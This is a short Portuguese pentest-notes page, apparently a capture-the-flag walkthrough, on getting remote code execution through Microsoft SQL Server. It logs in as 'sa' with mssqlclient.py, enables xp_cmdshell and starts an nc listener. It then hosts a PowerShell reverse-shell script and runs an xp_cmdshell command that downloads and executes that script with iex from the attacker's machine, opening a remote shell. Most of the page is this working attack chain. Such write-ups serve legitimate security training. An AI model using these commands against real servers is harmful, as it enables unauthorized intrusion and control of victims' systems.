> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/mssql-1433/mssql-exploitation-rce.md).
# MSSQL - Exploração RCE
Execução remota de comandos no MSSQL por meio de mssqlclient.py, xp\_cmdshell, payloads PowerShell hospedados e reverse shells.
## Exploração de MSSQL (Microsoft SQL)
**Porta 1433 (MSSQL)**
A porta 1433 está aberta, indicando que um Microsoft SQL Server está em escuta. Teste o acesso com os usuários recuperados durante a enumeração.
**Teste de conexão com MSSQL**
Use `mssqlclient.py` para tentar se conectar:
```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```
**Resultado**: Apenas o `sa` usuário funciona.
```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```
### Shell reversa via MSSQL
**Habilitar execução de comandos**
Para executar comandos do sistema, habilite `xp_cmdshell`:
```sql
enable_xp_cmdshell
```
Depois, teste com um comando simples, como `ipconfig`:
```sql
xp_cmdshell ipconfig
```
**Preparando para escutar na nossa máquina**
Inicie um listener na porta 4444:
```bash
rlwrap nc -nvlp 4444
```
**Baixando um script do PowerShell**
Prepare um script do PowerShell chamado `PS.ps1` que inclua uma função de shell reversa:
{% embed url="" %}
No final do script, adicione a seguinte linha:
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```
Hospede este script em um servidor web local:
```bash
python3 -m http.server 80
```
**Execução da shell reversa**
No servidor MSSQL, execute o seguinte comando para baixar e executar o script do PowerShell:
```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```
---
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